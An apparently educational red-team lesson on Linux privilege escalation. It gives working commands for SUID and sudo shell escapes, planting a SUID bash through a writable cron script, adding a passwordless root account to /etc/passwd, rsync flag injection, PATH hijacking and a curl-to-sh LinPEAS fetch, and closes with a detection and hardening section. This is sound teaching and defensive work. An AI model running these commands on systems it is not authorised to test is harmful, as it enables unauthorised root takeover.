Red Team · Medium
Linux Privilege Escalation

Master the complete Linux privilege escalation methodology — SUID abuse, sudo misconfigurations, writable cron jobs, PATH hijacking, capabilities, weak file permissions, and kernel exploits — with the enumeration discipline that finds the specific path on any given system.

Medium Red Team Path ⏱ 26 min read
Learning Progress
0%

Privilege Escalation on Linux

Privilege escalation is the process of gaining higher-level permissions than initially obtained. In Linux, the goal is typically to escalate from a low-privilege user account to root (UID 0) — which provides full control of the system, including reading any file, modifying any configuration, and installing persistent access mechanisms.

After gaining initial access — via a web shell, a cracked SSH credential, or exploitation of a service — a penetration tester almost always has limited permissions. The web server process may run as www-data. A cracked SSH account may belong to a restricted user. Privilege escalation transforms that constrained foothold into full system compromise, which is typically required to achieve the engagement's objectives: accessing sensitive data, pivoting further into the network, or demonstrating business impact.

💡Enumeration is everything: There is no single privesc technique that works universally. The key skill is thorough enumeration — finding the misconfiguration that exists in this specific environment, on this specific system, with this specific software. Automated tools help, but understanding what they're looking for — and why — is what makes the difference between finding the path and missing it.

Why Linux Privilege Escalation Exploits Misconfigurations, Not Just Bugs

Unlike Windows, where many privilege escalation paths exploit design properties of the OS itself (token impersonation, SeImpersonatePrivilege, named pipe abuse), Linux privilege escalation is predominantly the exploitation of configuration errors — things that an administrator made a choice to do, usually for convenience, that inadvertently introduced a root path. This means that Linux privesc techniques are highly environment-specific: the same technique that works on one server is completely irrelevant on the next if the configuration differs.

This environment-specificity is both the challenge and the point of the discipline. It forces genuine understanding: you cannot reliably escalate privileges on Linux by running a script and waiting. You need to understand what each potential path means, why it exists, and how to confirm it before attempting exploitation.

📌 Non-Technical Analogy

Imagine you've been let into a large company building as a visitor — you have a visitor badge that lets you enter the lobby and use the meeting rooms, but most of the offices are locked. Privilege escalation is the process of finding your way to a master key. In a well-configured building, you simply cannot — every door requires the right badge. But in practice, someone left a spare master key in the unlocked stationery cupboard because it was convenient. The cleaner's trolley has a key-card that opens the server room attached to it because IT found it easier than making a separate card. The maintenance panel is accessible with a universal key that the manufacturer never required changing. Privilege escalation is finding whichever of these convenient shortcuts was left in place — and they exist in almost every organisation, because nobody is perfect at securing every corner of a complex system.

Common Escalation Vectors

Linux privilege escalation exploits misconfigurations across several categories. The most common vectors are: SUID/GUID binaries, sudo misconfigurations, writable cron jobs, weak file permissions, PATH hijacking, Linux capabilities, and kernel exploits. Understanding each category — what it is, why it creates a root path, and how to find it — is the foundation of the discipline.

Immediate Enumeration Checklist — First Steps After Shell Access
id && whoami              # who are we, what groups?
uname -a                  # kernel version for exploit lookup
cat /etc/os-release       # distro and version
sudo -l                   # what can we run as sudo?
find / -perm -4000 -type f 2>/dev/null  # SUID binaries
find / -perm -2000 -type f 2>/dev/null  # SGID binaries
cat /etc/crontab && ls /etc/cron.*      # scheduled tasks
cat /etc/passwd | grep -v nologin       # real user accounts
getcap -r / 2>/dev/null   # Linux capabilities on binaries
env                       # environment variables (may contain credentials)
find / -writable -type f 2>/dev/null | grep -v proc  # writable files

Escalation Techniques in Practice

Example 01SUID binary exploitation

SUID (Set User ID) binaries run as their owner regardless of who executes them. If a SUID root binary can be coerced into executing a shell or running arbitrary commands, those commands run as root.

find / -perm -4000 -type f 2>/dev/null
/usr/bin/find  ← SUID set on find? Check GTFOBins

# GTFOBins shows: find with SUID can spawn a shell
find . -exec /bin/sh -p \; -quit
# whoami
root
Example 02Sudo misconfiguration

Sudo rules that allow running specific binaries as root can be abused when those binaries have shell escape capabilities — allowing the operator to break out of the restricted context into a root shell.

sudo -l
User www-data may run the following commands:
  (root) NOPASSWD: /usr/bin/vim

# GTFOBins vim sudo escape:
sudo vim -c ':!/bin/bash'
root@server:~#
Example 03Writable cron job

If a cron job runs as root and calls a script that is writable by our current user, we can insert a command that executes with root privileges on the next cron cycle.

cat /etc/crontab
* * * * * root /opt/cleanup.sh

ls -la /opt/cleanup.sh
-rwxrwxrw- 1 root root  cleanup.sh  ← world-writable!

echo "chmod +s /bin/bash" >> /opt/cleanup.sh
# Wait up to 60 seconds for cron to execute...
bash -p
bash-5.1# whoami
root
Example 04Automated enumeration with LinPEAS

LinPEAS automates the enumeration process and highlights potential escalation paths in colour-coded output — an essential tool for rapid triage of a new system.

# Download and execute LinPEAS on target:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Priority sections in LinPEAS output (red = most likely paths):
╔══════════╣ SUID        ← non-standard SUID binaries highlighted
╔══════════╣ Sudo        ← sudo rules for current user
╔══════════╣ Cron        ← scheduled tasks and their file permissions
╔══════════╣ Writable    ← files writable by current user
╔══════════╣ Capabilities← Linux capabilities on binaries

What You Need to Know

🔑
SUID Bit
Set User ID — causes a binary to run as its owner (often root) regardless of who executes it. Misconfigured SUID on powerful binaries = root access. GTFOBins documents exploitation methods for hundreds of affected binaries.
📋
GTFOBins
A curated list of Unix binaries that can be exploited for privilege escalation via sudo, SUID, cron, capabilities, etc. Essential reference: gtfobins.github.io. Cross-reference every unusual binary you find.
⏱️
Cron Jobs
Scheduled tasks running as root with writable scripts are a classic path. Check /etc/crontab, /etc/cron.d/, /etc/cron.hourly/, /etc/cron.daily/, and /var/spool/cron/crontabs.
🔍
Enumeration First
Spend time enumerating before attempting exploits. LinPEAS, pspy (process spy), and manual checks reveal the specific attack surface of this system. The path on every machine is different.

Understanding SUID — Mechanism and Exploitation

The SUID bit is a Unix permission mechanism with a legitimate purpose: it allows unprivileged users to run specific programs that need elevated privileges for a limited task. The canonical example is passwd — an ordinary user needs to be able to change their own password, which requires writing to /etc/shadow, a root-owned file. Rather than making the user root to run passwd, the SUID bit on /usr/bin/passwd means the process runs as root only for the duration of the password change.

The problem arises when the SUID bit is set on binaries that were not designed with this privilege elevation in mind, or when administrators set it carelessly for convenience. Any binary that can execute shell commands, spawn child processes, or write to arbitrary files becomes a root escalation path when SUID root is set on it.

Reading the SUID Bit in File Permissions

Permission String Anatomy
# ls -la output for a SUID binary:
-rwsr-xr-x  1  root  root  /usr/bin/passwd

# Position breakdown:
-          = regular file (d=dir, l=link)
rws        = owner read/write/EXECUTE AS OWNER (s = suid + execute)
r-x        = group read/execute
r-x        = others read/execute

# The 's' in the owner execute position = SUID bit set
# If it were 'S' (capital), SUID is set but execute is NOT -- misconfiguration

# Find ALL SUID root binaries efficiently:
find / -user root -perm -4000 -type f 2>/dev/null

# Compare against expected SUID binaries on a clean system:
# Expected: passwd, sudo, su, ping, mount, umount, newgrp, gpasswd
# Unexpected: find, vim, python, perl, bash, cp, awk, nmap → escalation path
Example 05Multiple SUID paths — Python and Bash

Python and Bash with SUID root set are among the most immediately exploitable misconfigurations — they provide direct root shell access in a single command.

--- Python SUID ---
find / -perm -4000 2>/dev/null | grep python
/usr/bin/python3.8
python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@server:~#

--- Bash SUID (-p flag honours effective UID) ---
find / -perm -4000 2>/dev/null | grep bash
/usr/bin/bash
bash -p
bash-5.1# whoami
root

--- cp SUID (copy any file as root) ---
ls -la /usr/bin/cp
-rwsr-xr-x 1 root root /usr/bin/cp
# Copy /etc/passwd to /tmp, add root user line, copy back:
cp /etc/passwd /tmp/passwd.bak
echo 'pwned::0:0::/root:/bin/bash' >> /tmp/passwd.bak
cp /tmp/passwd.bak /etc/passwd
su pwned
root@server:~#

Sudo — Intended Delegation Gone Wrong

Sudo (superuser do) is designed to give specific users the ability to run specific commands as root without giving them the root password. A well-configured sudoers file grants exactly the permissions needed and nothing more. In practice, administrators frequently make grants that are broader than intended — either because they didn't understand the implications, or because they needed to solve an immediate problem quickly and didn't revisit the configuration afterwards.

The Sudoers File — Reading and Exploiting Rules

Sudoers Rule Anatomy
# Format: WHO   WHERE=(AS_WHOM) WHAT
www-data  ALL=(root) NOPASSWD: /usr/bin/vim

# Breaking this down:
www-data   = the user this rule applies to
ALL        = from any host (always ALL in single-server context)
(root)     = can run the command as root
NOPASSWD   = no password required (most dangerous — unattended escalation)
/usr/bin/vim = the specific binary permitted

# Common dangerous sudo grants and their GTFOBins escapes:
vim/nano/less  → shell escape within the editor (:!/bin/bash or !bash)
find           → -exec /bin/sh \; -quit
python/perl/ruby → exec('/bin/bash') or os.system('/bin/bash')
awk/sed        → BEGIN{system("/bin/bash")} (awk)
tar            → --checkpoint-action=exec=/bin/bash
env            → sudo env /bin/bash  (directly spawns root shell)
bash/sh        → trivially: sudo bash → immediate root shell
Example 06Wildcard injection in sudo rules

Sudo rules that use wildcards in the allowed command path are frequently exploitable — the wildcard matches file paths the administrator didn't intend to permit.

sudo -l
User backup may run the following commands:
  (root) NOPASSWD: /usr/bin/rsync /backup/* /remote/

# The wildcard after /backup/ allows additional rsync flags to be injected.
# rsync supports --rsh= which executes a command instead of a remote shell:
sudo rsync /backup/x --rsh='sh -c "sh 0<&2 1>&2"' x:x
root@server:~#

# Why: the shell expands the wildcard before sudo validates the path,
# so sudo sees a valid /backup/... path but the injected flags execute
# arbitrary commands with the rsync process running as root.

PATH Hijacking and Linux Capabilities

PATH Hijacking — Replacing Commands in the Search Path

When a SUID binary or a root-executed script calls another program by name without an absolute path (writing ls rather than /usr/bin/ls), the shell resolves the name by searching the directories listed in the PATH environment variable in order. If an attacker can insert a directory they control earlier in the PATH, they can place a malicious script with the same name that executes instead of the real binary.

Example 07PATH hijacking via SUID script calling relative command

A SUID root script that calls service apache2 start without an absolute path for service is vulnerable to PATH hijacking — we can make a fake service binary that runs anything we choose as root.

# Target: /usr/local/bin/restart-web (SUID root, calls 'service' relatively)
strings /usr/local/bin/restart-web
service apache2 start  ← no absolute path!

# Create malicious 'service' binary in /tmp:
echo '#!/bin/bash\nchmod +s /bin/bash' > /tmp/service
chmod +x /tmp/service

# Prepend /tmp to PATH and run the SUID binary:
export PATH=/tmp:$PATH
/usr/local/bin/restart-web

# Our fake 'service' ran as root, setting SUID on bash:
bash -p
bash-5.1# whoami → root

Linux Capabilities — Fine-Grained Privilege Without SUID

Linux capabilities are a granular privilege system that allows specific root-level abilities to be granted to a binary or process without giving it full root access. Instead of the blunt instrument of SUID root (all root powers), capabilities grant specific permissions — CAP_NET_ADMIN for network configuration, CAP_SYS_PTRACE for process debugging, CAP_DAC_OVERRIDE for bypassing file permission checks.

From an attacker's perspective, certain capabilities are equivalent to full root for privilege escalation purposes. CAP_SETUID — the capability to change the process's UID — is directly exploitable. CAP_DAC_OVERRIDE — bypass all file read/write/execute permission checks — allows reading /etc/shadow or overwriting system files. Any binary with these capabilities and world-executable permissions is an escalation path.

Example 08Linux capabilities exploitation — python3 with cap_setuid

CAP_SETUID on a Python binary allows directly calling os.setuid(0) to become root — equivalent to SUID without the bit being set in ls -la output, which is why capabilities are a commonly missed escalation path.

# Enumerate capabilities on all binaries:
getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid+ep

# cap_setuid+ep means:
# cap_setuid = can call setuid()
# +ep = effective (active immediately) + permitted (available to use)

python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@server:~#

# Note: this binary shows NOTHING special in ls -la output
# Standard ls shows -rwxr-xr-x with NO SUID bit visible
# Only getcap reveals the capability — easy to miss in manual enumeration

Kernel Exploits — The Last Resort

Kernel exploits should be the last resort in a privilege escalation methodology, not the first attempt. They are operating-system-level vulnerabilities — bugs in the Linux kernel itself rather than misconfigurations — and they carry significant risks: a failed kernel exploit can crash the system entirely, potentially causing data loss and taking the target offline. In professional engagements, kernel exploitation requires explicit client authorisation because of this stability risk.

That said, kernel exploits are highly relevant in two contexts: CTF-style lab environments where system stability is less critical, and real-world scenarios where a system has been neglected for years and the kernel version predates several major public vulnerabilities. Understanding how to identify vulnerable kernel versions and find relevant exploits is a core enumeration skill even if you never run them in production.

Example 09Kernel version enumeration and exploit identification

Identifying the kernel version and cross-referencing it against known public exploits is a standard enumeration step. The decision to actually exploit requires additional consideration of stability risk and scope.

uname -r
4.4.0-116-generic

# This kernel is old — search for known vulnerabilities:
searchsploit linux kernel 4.4.0
Linux Kernel < 4.13.9 - Local Privilege Escalation  | linux/local/45010.c
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free       | linux/local/41458.c

# Alternatively, use linux-exploit-suggester for automated matching:
./linux-exploit-suggester.sh --uname "4.4.0-116-generic"
[+] [CVE-2017-16995] eBPF_verifier - Highly Probable
[+] [CVE-2016-8655] chocobo_root  - Probable

# Before attempting: confirm exploit compiles, test in lab first,
# get explicit client sign-off on stability risk for production systems.

Detection and Hardening — The Blue Team View

Every privilege escalation technique has corresponding defensive controls and detection signals. Understanding these is essential for defenders designing hardened Linux environments and for pentesters who need to understand why a path might not work on a well-configured system.

Attack Vector

SUID misuse: Non-standard binary has SUID root set, exploited via GTFOBins technique to spawn root shell.

Sudo shell escape: Permitted binary with shell escape capability invoked via sudo to break into root context.

Writable cron script: Root cron job executes attacker-modified script, privilege code runs on schedule.

Capabilities abuse: cap_setuid on interpreter directly calls setuid(0) without triggering SUID detection.

Defensive Control

SUID audit: Maintain a baseline of expected SUID binaries. Alert on any new SUID binary appearing. Remove SUID from all non-essential binaries. chmod u-s /usr/bin/find.

Sudo hardening: Use NOEXEC flag to prevent binaries from spawning child processes. Avoid granting sudo on interpreters and editors. Regularly audit sudoers.

Cron permissions: Cron scripts owned and writable only by root. Monitor for permission changes with file integrity monitoring (AIDE, Tripwire).

Capabilities audit: getcap -r / as part of hardening baseline. Remove unnecessary capabilities. setcap -r /path/to/binary.

Detection Signals: From a SIEM perspective, Linux privilege escalation produces several detectable signals: unexpected sudo executions by service accounts (auditd Event type=EXECVE with sudo in command chain), setuid system calls from unusual processes (auditd syscall=105), new SUID files appearing (auditd watch on filesystem with -p wa), and process tree anomalies like a web server process spawning /bin/bash. These signals are high-fidelity when combined with a baseline of normal behaviour.

Core Concepts Summary

🔑
SUID Bit
Binary runs as owner (root) regardless of caller. Find with: find / -perm -4000. Standard SUID binaries (passwd, sudo, ping) are expected — everything else warrants GTFOBins lookup.
📋
GTFOBins
gtfobins.github.io — shell escape techniques for hundreds of Unix binaries via sudo, SUID, cron, capabilities, and more. Cross-reference every unusual binary found during enumeration.
⏱️
Cron Job Abuse
Root cron + writable script = scheduled root execution. Check: /etc/crontab, /etc/cron.d/, /var/spool/cron/. Use pspy to see cron jobs running as root that don't appear in readable crontab files.
🔍
Enumeration First
LinPEAS for automated triage. pspy for real-time process monitoring (finds cron jobs running without readable crontab entries). Manual checks for context LinPEAS misses. Understand before exploiting.
🔀
PATH Hijacking
SUID/root scripts calling binaries without absolute paths are vulnerable. Place malicious binary earlier in PATH. Find with: strings /path/to/suid_binary | grep -v / to see relative calls.
Linux Capabilities
Granular root powers on binaries. cap_setuid = can call setuid(0). cap_dac_override = bypass file permissions. NOT visible in ls -la. Only getcap reveals them. Commonly missed path.
⚠️
Kernel Exploits
Last resort — stability risk can crash the system. Enumerate with uname -r + searchsploit or linux-exploit-suggester. Requires explicit authorisation for production targets. Test in matching lab first.
🛡️
Hardening Baseline
Audit SUID/capabilities at deployment. Monitor with auditd for setuid syscalls, unexpected sudo use, new SUID files. File integrity monitoring (AIDE) detects permission changes on scripts called by root.
Ready to put it into practice?
Proceed to the Lab

You've covered the theory. Now apply it hands-on in the simulated environment.

Start Lab — Linux Privesc
← Return to all labs